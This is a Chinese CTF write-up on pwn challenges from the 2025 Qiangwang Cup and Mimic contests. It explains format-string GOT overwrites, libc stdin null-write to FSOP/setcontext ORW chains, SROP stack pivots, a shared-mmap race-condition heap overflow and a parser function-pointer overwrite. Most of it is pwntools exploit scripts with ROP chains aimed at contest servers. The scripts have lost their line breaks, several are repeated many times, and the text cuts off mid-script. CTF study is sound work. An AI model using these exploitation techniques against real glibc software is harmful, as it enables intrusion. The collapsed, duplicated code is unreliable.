-
-
[原创] 2025 强网杯和强网拟态部分题解
-
发表于: 2025-10-31 07:39 2563
-

程序先是打开了/flag文件

只有输入金额为0xff时才能进入下面的逻辑,否则关闭flag并清空token变量

随后将flag的头打印出来,将内存中的flag清空,并允许我们向user.log写入内容
由于使用了scanf("%s"),导致可以写入无限长内容

当输入长度超过0x100,便可以覆盖format

可以自由格式化字符串,但由于是data段的格式化字符串

但这里可以输入0x10字节,所以可以将got表写在栈上,但是由于token清空我们无法再次进入scanf("%s")
如果我们将exit的got表改写为main函数,在退出时便可以再次进入main中,token便会刷新,我们又可以控制格式化字符串参数
然后可以使用格式化字符串泄露堆地址
由于flag是文件,所以被串在_IO_list_all的链表中,位于堆上,其中的文件指针中包含flag的内容,只要稍微调试便可以找到flag字符串相对于堆地址的偏移
再次使用exit退出,最后一次格式化字符串将flag的地址写在栈上并使用%s参数泄露flag内容,便可以获得flag

在leak中,可以输入0x28字节数据,泄露libc地址

随后进入一个堆管理菜单

其中edit,show,free都没有什么用
add功能只能使用一次,但是没有限制申请堆块的大小

这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零
当malloc大小过大会malloc失败并返回null
所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写
由于我们已经知道了libc地址,便可以实现对任意libc地址的null写
libc的攻击面(got表,IO结构体,IO_list_all)
其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够
如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址
所以只剩下stdin可以攻击

在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964
如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写

由于开启了沙箱,使用orw绕过沙箱即可
直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP

在leak中,可以输入0x28字节数据,泄露libc地址

随后进入一个堆管理菜单

其中edit,show,free都没有什么用
add功能只能使用一次,但是没有限制申请堆块的大小

这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零
当malloc大小过大会malloc失败并返回null
所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写
由于我们已经知道了libc地址,便可以实现对任意libc地址的null写
libc的攻击面(got表,IO结构体,IO_list_all)
其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够
如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址
所以只剩下stdin可以攻击

在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964
如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写

由于开启了沙箱,使用orw绕过沙箱即可
直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP

程序的逻辑十分简单,可以溢出0xd8字节,存在沙箱且有一个小后门(将读入的字节数写入栈上)

可以看到沙箱留下了wr和Sigreturn以及一些无关紧要的系统调用

通过dockerfile可以分析出flag作为环境变量,被放在栈上
省去了orw中open和read两步,我们只需要获得栈地址再遍历栈就可以获得flag
第一步,由于我们没有栈地址,所以应该先进行栈迁移到bss上
想要使用SROP又需要syscall地址,而syscall只能来自于libc
所以应该在bss上写入libc地址
那么可以在栈迁移后调用start函数,将大量地址写入bss段

可以看到已经有不少libc地址被写入bss段
下一步想使用magic_gadget将任意libc地址修改为syscall地址,但是使用magic_gadget的前提是控制rbx与rbp寄存器,想控制这两个寄存器则需要pop rbx;ret这样的指令
我们有需要从libc中获得,通过观察可以发现


在bss段的libc地址的附近有这样的gadget,但是与libc地址相差了2字节,由于libc偏移的页偏移机制,只有1.5字节是固定的,所以这里需要爆破半字节(1/16)
通过末位覆盖达成这个目的(p16(0xa2dc))
注意这里的gadget使用的是从add rsp,0x38开始的,至于为什么要这样选择要看后续利用
此时这个libc地址变成了可以控制rbx/rbp的gadget,我们还需要在这个gadget的高地址处布置magic_gadget与其他ROP,所以要把target设置为这个libc地址的下一个bss地址

从此处开始布置新的ROP链,此次布置要包含两个部分
这也是刚刚选择控制rbx的gadget时要带上一段跳栈汇编add rsp,0x38的原因,需要保证两个ROP不能重叠
此后向低地址垫入ret滑梯,便可以将RSP滑到布置了好久的ROP上,执行将libc地址修改为syscall地址的ROP

经过这个ROP,bss上的Libc地址被成功改写为syscall地址,离我们使用SROP进了一步
我们在写SROP前要先梳理下目标结构

高地址处要写入SigreturnFrame,低地址要写入ret滑梯,并且要在滑梯中插入一个read.plt(控制rax用)
上次布置的ROP允许我们直接向syscall的高地址写入内中
我们除了要写SigreturnFrame,还要写入syscall后的后续利用:我们通过SROP获取libc地址后对栈遍历的ROP
我们先写入
然后通过刚刚的leave将RSP移到syscall的低地址,再调用read,便可以向低地址到syscall中间填充ret滑梯
最后一次栈溢出,便将RSP沿着ret滑梯,滑倒了syscall上

上半部分是ret滑梯,下半部分是后续的SigreturnFrame与后续ROP的重合结构

SROP转为write调用,将got表打印出来,获得了libc地址
此时再次调用read,read会根据我们刚刚设定的rbp确定rsi的地址,所以SigreturnFrame中要确定rbp的位置

通过调整rbp大小,我们可以直接覆盖read.plt的返回地址
实现最后一次ROP,此时我们得知了libc地址,可以打印出envrion成员(栈地址),再调用write函数对栈进行遍历

可以最终获得栈上的环境遍历FLAG

baby_stack是最最最简单的栈溢出,就不写了

通过gdb调试发现可以泄露栈地址

程序中还存在syscall指令,且未开启PIE保护
还存在一个很大的栈溢出
可以考虑先使用SROP调用write进行libc地址的泄露,然后再次栈溢出进行orw(本题开启了沙箱)
很公式的打法
无论是逻辑还是字符串都经过了高度混淆
通过gdb与黑盒测试可以得出以下基础流程

在进入note前需要设置一个密码,此后进入一个堆块管理系统(choice 2)
拥有增删改查功能
在进入note前,会先进行open与mmap操作

使用gdb调试这个mmap返回的内存,结合堆块管理操作,发现是用来记录堆块大小的(我添加了0x500和0x600的堆块)

我们着重关注这个mmap操作
mmap(0LL, 0x60uLL, 3, 1, fd, 0LL)
随后即使close(fd),此时这片内存与磁盘中的文件完成了绑定,二者的关系依旧不变

在堆管理器中依旧存在高度的指令混淆和字符串混淆
通过调试可以简单逆向出这些操作
很标准的增删改查
最先堆操作原语中寻找漏洞,比如常见的uaf,堆溢出(包括offbynull,offbyone)
按照特征对几个漏洞进行分析,使用了gdb调试与fuzzer进行盲打
发现并不存在漏洞,也就是说堆管理系统是安全的
这道题的特色就是存在着一个管理堆块大小的磁盘-内存共享空间
既然堆管理原语不存在漏洞,那么漏洞只能存在于这个共享内存中了
通过gdb调试发现,每次创建的文件名都是一串随机字符

通过对字符串进行溯源,可以猜测字符串的生产与可能输入的passwd和时间有关

此时使用hook对猜想进行验证
将此源码编译为.so并在程序运行时PRELOAD,open操作会被hook为打印操作
可以显示出我们的字符串
再写一个简单的py脚本对每次运行时回显的文件名进行接收
结果会被记录在log.txt中
运行py后查看log,可以看到文件名随着时间均匀变化,证明文件名确实是时间戳产生的随机数与passwd组合产生的摘要

现在我们已知
只要让两个进程同时打开一个文件,一个文件对堆块大小列表进行修改,就会映射到另一个进程的堆块大小列表中
这样可以造成任意长度的堆溢出
本身操作原语中存在未置零的缺陷,可以直接泄露出libc地址与heap地址
准备了两个堆溢出布局

第一个用来泄露栈地址
第二个用来劫持返回地址进行ROP
随后进行条件竞争,开启另外一个进程中将堆块大小列表填入三个0x500
如果进程s和进程io开启了同一个文件,就会导致io中堆块大小被修改为0x500

经过小小的爆破,可以看到io进程中的共享内存被s进程的操作修改
此时可以使用edit功能进行栈溢出
通过这道题我发现劫持read函数的返回地址是最方便的,不用担心canary的问题
以前都是劫持edit函数的返回地址,有时候add函数中没用read功能就会导致add返回时canary被修改

先是开始沙箱和初始化缓冲区和一些结构体后,要求输入硬编码的魔数
随后是个菜单,显式选项有三个,退出 帮助 和 重置
退出和帮助没什么用,重置会再次刷新结构体成员

结构体中包含一枚函数指针,几乎可以猜到要攻击什么东西了
长长的一段逻辑,实际上是进行对数据包的是否符合协议格式的检测
简单来说是数据必须符合以下格式
[命令头部HEX]#[数据HEX...]
这是车联网领域CAN/ISO-TP通信协议的简化版本
在数据处理部分,又根据[命令头部HEX]将数据包分为单帧,首帧和连续帧
每次数据发送结束,都会调用sub_1840将数据包集体复制到全局变量缓冲区buf中
然后调用一个结构体中的函数指针进行handle操作
注意这里的psub_16E0是根据函数指针进行调用的,也就是我们的结构体中的函数指针
随后我们对buf周围的变量进行的观察
这枚函数指针恰好存放在buf高0x100的地址处
而且对连续帧的观察得到,并没有限制连续帧的数据长度上限
也就是说如果我们发送的是连续帧,且长度超过0x100,就会覆盖原本的函数指针
由于程序开启了所有保护,且不存在后门函数,我们无法一下子跳转到确定的目标
但我们知道,程序开启了沙箱,禁止了execve类的函数调用,我们的最终手段一定是orw
orw需要我们连续执行函数并控制参数,只有ROP能做到这一点
由于不存在栈溢出,我们又必须要进行栈迁移才能达成ROP
最开始的handle函数是这个,打印一句话并返回
如果我们将函数指针最低字节从E0偏移到E4,就可能导致rdi中的内容出现非预期
通过调试可知,这样会泄露出我们刚刚输入的连续帧数据,如果这里面不存在\x00截断的话,还可以泄露出handle指针,也就是说我们可以泄露PIE

此时我们可以正常返回main中 , 可以再次修改函数指针
此时text段的gadget都可以拿来用,可以先使用ROPgadget寻找合适的片段

一个很醒目的特色gadget,很明显可以用来栈迁移.
再结合之前说的,执行handle函数时,rdi为buf上的输入的起始地址,一切就都通了
我们可以将handle覆盖为这个gadget,将栈迁移到bss上,在前0x100字节布置好泄露libc的ROP+二次注入ROP的ROP
即可执行任意长度的ROP链
from pwn import *#io=process('./pwn')context.log_level='debug'io=remote("47.93.216.175",38936)def bug(): gdb.attach(io,"b *0x4014bc")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3io.sendline(b'a'*0x100+payload)io.sendline(b"1")got=0x404090io.send(p64(got)+p64(got+2))io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")io.sendline(b'a'*0x100+b"%11$p")io.sendlineafter(b"2.exit",b"1")#io.recvuntil(b"how much you want to pay?\n")io.recvuntil(b"want to pay?\n")io.sendline(b"1")heap=int(io.recvuntil(b"we")[:-2],16)print(hex(heap))io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")io.sendline(b'a'*0x100+b"%16$s")io.sendlineafter(b"2.exit",b"1")io.send(p64(heap+0x3c0)+p64(heap+0x3c0))io.interactive()from pwn import *#io=process('./pwn')context.log_level='debug'io=remote("47.93.216.175",38936)def bug(): gdb.attach(io,"b *0x4014bc")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3io.sendline(b'a'*0x100+payload)io.sendline(b"1")got=0x404090io.send(p64(got)+p64(got+2))io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")io.sendline(b'a'*0x100+b"%11$p")io.sendlineafter(b"2.exit",b"1")#io.recvuntil(b"how much you want to pay?\n")io.recvuntil(b"want to pay?\n")io.sendline(b"1")heap=int(io.recvuntil(b"we")[:-2],16)print(hex(heap))io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"2")io.sendlineafter(b"2.exit",b"1")io.sendlineafter(b"how much you want to pay?",b"255")io.recvuntil(b"opened user.log, please report:\n")io.sendline(b'a'*0x100+b"%16$s")io.sendlineafter(b"2.exit",b"1")io.send(p64(heap+0x3c0)+p64(heap+0x3c0))io.interactive()from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))rdi=base+0x000000000010f78brsi=base+0x0000000000110a7drdx=base+0x0000000000138d05#movsxd rdx, ecx ; retrcx=base+0x00000000000a877ejmp_gadget=base+0x00000000000ee303openat=base+libc.sym.openatread=base+libc.sym.readwrite=base+libc.sym.write#------------------------------------------------rop=p64(rdi)+p64(0x10000000000000000-100)rop+=p64(rsi)+p64(IO + 0xe8)rop+=p64(rcx)+p64(0)+p64(rdx)rop+=p64(rcx)+p64(0)rop+=p64(openat)rop+=p64(rdi)+p64(3)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(read)rop+=p64(rdi)+p64(1)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(write)#--------------------------------------------------fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8)}, filler=b"\x00")fake_file+=b"./flag".ljust(0x10,b'\x00')fake_file+=ropio.sendafter("Choice:", fake_file)io.interactive()from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))rdi=base+0x000000000010f78brsi=base+0x0000000000110a7drdx=base+0x0000000000138d05#movsxd rdx, ecx ; retrcx=base+0x00000000000a877ejmp_gadget=base+0x00000000000ee303openat=base+libc.sym.openatread=base+libc.sym.readwrite=base+libc.sym.write#------------------------------------------------rop=p64(rdi)+p64(0x10000000000000000-100)rop+=p64(rsi)+p64(IO + 0xe8)rop+=p64(rcx)+p64(0)+p64(rdx)rop+=p64(rcx)+p64(0)rop+=p64(openat)rop+=p64(rdi)+p64(3)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(read)rop+=p64(rdi)+p64(1)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(write)#--------------------------------------------------fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8)}, filler=b"\x00")fake_file+=b"./flag".ljust(0x10,b'\x00')fake_file+=ropio.sendafter("Choice:", fake_file)io.interactive()from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))rdi=base+0x000000000010f78brsi=base+0x0000000000110a7drdx=base+0x0000000000138d05#movsxd rdx, ecx ; retrcx=base+0x00000000000a877ejmp_gadget=base+0x00000000000ee303openat=base+libc.sym.openatread=base+libc.sym.readwrite=base+libc.sym.write#------------------------------------------------rop=p64(rdi)+p64(0x10000000000000000-100)rop+=p64(rsi)+p64(IO + 0xe8)rop+=p64(rcx)+p64(0)+p64(rdx)rop+=p64(rcx)+p64(0)rop+=p64(openat)rop+=p64(rdi)+p64(3)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(read)rop+=p64(rdi)+p64(1)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(write)#--------------------------------------------------fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8)}, filler=b"\x00")fake_file+=b"./flag".ljust(0x10,b'\x00')fake_file+=ropio.sendafter("Choice:", fake_file)io.interactive()from pwn import *io=process('./pwn')libc=ELF('./libc.so.6')#io=remote("123.56.27.220",26633)def bug(): gdb.attach(io)def add(size): io.sendlineafter(b"Choice: ",b"1") io.sendlineafter(b"Size: ",str(size).encode())io.send(b'a'*0x28)io.recvuntil(b'a'*0x28)base=u64(io.recv(6)+b'\x00\x00')-0xaddaeprint(hex(base))stdin=base+0x2038e0add(stdin+0x38+1)IO=base+libc.sym._IO_2_1_stdout_io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))rdi=base+0x000000000010f78brsi=base+0x0000000000110a7drdx=base+0x0000000000138d05#movsxd rdx, ecx ; retrcx=base+0x00000000000a877ejmp_gadget=base+0x00000000000ee303openat=base+libc.sym.openatread=base+libc.sym.readwrite=base+libc.sym.write#------------------------------------------------rop=p64(rdi)+p64(0x10000000000000000-100)rop+=p64(rsi)+p64(IO + 0xe8)rop+=p64(rcx)+p64(0)+p64(rdx)rop+=p64(rcx)+p64(0)rop+=p64(openat)rop+=p64(rdi)+p64(3)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(read)rop+=p64(rdi)+p64(1)rop+=p64(rsi)+p64(IO+0xe0)rop+=p64(rcx)+p64(0x50)+p64(rdx)rop+=p64(write)#--------------------------------------------------fake_file = flat({ 0x0: p64(0x320), 0x10: p64(base+libc.sym.setcontext + 61), 0x20: p64(IO), 0x78: p64(jmp_gadget), 0x88: p64(base+libc.sym._environ-0x10), # _lock_chain 0xa0: p64(IO), 0xa8: p64(jmp_gadget), 0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10), 0xe0: p64(IO-8)}, filler=b"\x00")fake_file+=b"./flag".ljust(0x10,b'\x00')fake_file+=ropio.sendafter("Choice:", fake_file)io.interactive()from pwn import *env = {'FLAG': 'flag{your_flag_here}'}io=process('./pwn',env=env)libc=ELF('./libc.so.6')#io=remote("47.105.116.238",9999)def bug(): gdb.attach(io,"b *0x4015FB")context.arch='amd64'read=0x4015FBbss=0x404000+0x800 #从bss的中间部分开始栈迁移start=0x401170leave=0x40161Etarget=0x4047c0ret=leave+1syscall=0x404788 #src:0x2a2dc target:0x91316 在libc中的syscall;ret地址magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadgetrbp=magic+1payload=p64(bss)*3+2*p64(bss)+p64(read)io.send(payload)pause()payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave)io.send(payload)from pwn import *env = {'FLAG': 'flag{your_flag_here}'}io=process('./pwn',env=env)libc=ELF('./libc.so.6')#io=remote("47.105.116.238",9999)def bug(): gdb.attach(io,"b *0x4015FB")context.arch='amd64'read=0x4015FBbss=0x404000+0x800 #从bss的中间部分开始栈迁移start=0x401170leave=0x40161Etarget=0x4047c0ret=leave+1syscall=0x404788 #src:0x2a2dc target:0x91316 在libc中的syscall;ret地址magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadgetrbp=magic+1payload=p64(bss)*3+2*p64(bss)+p64(read)io.send(payload)pause()payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave)io.send(payload)payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc)io.send(payload)pause()payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc)io.send(payload)pause()payload =p64(0x404790+0x20)+p64(read) #这次的返回地址payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadgettarget=0x404790payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP)io.send(payload)payload =p64(0x404790+0x20)+p64(read) #这次的返回地址payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadgettarget=0x404790payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP)io.send(payload)payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4io.send(payload)payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4io.send(payload)f=SigreturnFrame()f.rsp=syscallf.rax=1f.rdi=1f.rsi=0x403FC0f.rdx=0x8f.rip=retf.rbp=0x404790+0x20payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:]io.send(payload)pause()f=SigreturnFrame()f.rsp=syscallf.rax=1f.rdi=1f.rsi=0x403FC0f.rdx=0x8f.rip=retf.rbp=0x404790+0x20payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:]io.send(payload)pause()io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2)pause()io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2)pause()io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5)pause()io.send(b'a'*0xf)pause()io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5)pause()io.send(b'a'*0xf)pause()from pwn import *#io=process('./pwn')io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True)libc=ELF('./libc.so.6')context.arch='amd64'io.send(b'a'*0x10)io.recvuntil(b'a'*0x10)stack=u64(io.recv(6)+b'\x00\x00')print(hex(stack))syscall=0x40140Eread=0x4010F0f=SigreturnFrame()f.rdi=1f.rax=1f.rsi=0x403FA8f.rip=syscallf.rdx=8f.rsp=stack+0xf8payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443)#gdb.attach(io)io.send(payload)pause()io.send(b'a'*0xf)io.recvuntil(b"Any thing else?\n")base=u64(io.recv(8))-libc.sym.putsprint(hex(base))ope=base+libc.sym.opensendfile=base+libc.sym.sendfilerdi=base+0x000000000002a3e5rsi=base+0x000000000002be51rdx=base+0x000000000011f357rcx=base+0x000000000003d1eepayload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope)payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile)io.send(payload)io.interactive()from pwn import *#io=process('./pwn')io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True)libc=ELF('./libc.so.6')context.arch='amd64'io.send(b'a'*0x10)io.recvuntil(b'a'*0x10)stack=u64(io.recv(6)+b'\x00\x00')print(hex(stack))syscall=0x40140Eread=0x4010F0f=SigreturnFrame()f.rdi=1f.rax=1f.rsi=0x403FA8f.rip=syscallf.rdx=8f.rsp=stack+0xf8payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443)#gdb.attach(io)io.send(payload)pause()io.send(b'a'*0xf)io.recvuntil(b"Any thing else?\n")base=u64(io.recv(8))-libc.sym.putsprint(hex(base))ope=base+libc.sym.opensendfile=base+libc.sym.sendfilerdi=base+0x000000000002a3e5rsi=base+0x000000000002be51rdx=base+0x000000000011f357rcx=base+0x000000000003d1eepayload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope)payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile)io.send(payload)io.interactive()def add(size): io.sendlineafter(b'$> ', b'add') io.sendlineafter(b'Enter size of note: ', str(size).encode())def edit(index, size ,content=b'\x01'): io.sendlineafter(b'$> ', b'edit') io.sendlineafter(b'Enter index of note to edit: ', str(index).encode()) io.sendlineafter(b'Enter newsize: ', str(size).encode()) if content==b'\x01': io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n') else: io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y') io.sendlineafter(b'Enter new content for note: ', content)def free(index): io.sendlineafter(b'$> ', b'del') io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())def show(index): io.sendlineafter(b'$> ', b'show') io.sendlineafter(b'Enter index of note to show: ', str(index).encode())def add(size): io.sendlineafter(b'$> ', b'add') io.sendlineafter(b'Enter size of note: ', str(size).encode())def edit(index, size ,content=b'\x01'): io.sendlineafter(b'$> ', b'edit') io.sendlineafter(b'Enter index of note to edit: ', str(index).encode()) io.sendlineafter(b'Enter newsize: ', str(size).encode()) if content==b'\x01': io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n') else: io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y') io.sendlineafter(b'Enter new content for note: ', content)def free(index): io.sendlineafter(b'$> ', b'del') io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())def show(index): io.sendlineafter(b'$> ', b'show') io.sendlineafter(b'Enter index of note to show: ', str(index).encode())#define _GNU_SOURCE#include <dlfcn.h>#include <stdarg.h>#include <stdio.h>#include <unistd.h>void open(char* filename){ puts("********************************"); printf("%s",filename); return;}#define _GNU_SOURCE#include <dlfcn.h>#include <stdarg.h>#include <stdio.h>#include <unistd.h>void open(char* filename){ puts("********************************"); printf("%s",filename); return;}from pwn import *lib = os.path.abspath('./hook.so')env = os.environ.copy()env['LD_PRELOAD'] = lib#io = process(['./pwn'], env=env)def bug(): gdb.attach(io,"b *$rebase(0x3ABD)\nc")while True: io = process(['./pwn'], env=env) io.recvuntil(b'select: ') io.sendline(b'1') io.recvuntil(b'characters): ') io.sendline(b'Mim') io.recvuntil(b'select: ') io.sendline(b'2') io.recvuntil(b"********************************\n") filename=io.recvuntil(b"Failed")[:-6].decode() os.system(f"echo {filename} >> log.txt") io.close()from pwn import *lib = os.path.abspath('./hook.so')env = os.environ.copy()env['LD_PRELOAD'] = lib#io = process(['./pwn'], env=env)def bug(): gdb.attach(io,"b 